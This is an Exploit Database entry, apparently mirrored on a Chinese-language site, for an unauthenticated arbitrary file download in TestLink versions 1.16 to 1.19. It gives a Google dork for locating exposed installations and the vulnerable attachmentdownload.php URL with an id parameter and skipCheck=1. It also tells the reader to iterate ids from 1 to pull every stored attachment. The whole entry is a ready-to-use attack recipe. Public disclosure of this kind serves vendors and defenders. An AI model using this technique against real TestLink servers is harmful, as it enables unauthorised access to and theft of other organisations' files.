TestLink 1.19 – Arbitrary File Download (Unauthenticated)

• Exploit Database
• 38 阅读

• 作者： Gonzalo Villegas
  日期： 2021-12-09
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50578/

• # Exploit Title: TestLink 1.19 - Arbitrary File Download (Unauthenticated)
  # Google Dork: inurl:/testlink/
  # Date: 07/12/2021
  # Exploit Author: Gonzalo Villegas (Cl34r)
  # Exploit Author Homepage: https://nch.ninja
  # Vendor Homepage: https://testlink.org/
  # Version:1.16 <= 1.19
  # CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  
  You can download files from "/lib/attachments/attachmentdownload.php", passing directly in URL the id of file listed on database, otherwise you can iterate the id parameter (from 1)
  
  Vulnerable URL: "http://HOST/lib/attachments/attachmentdownload.php?id=ITERATE_THIS_ID&skipCheck=1"
  
  for research notes:
  https://nch.ninja/blog/unauthorized-file-download-attached-files-testlink-116-119/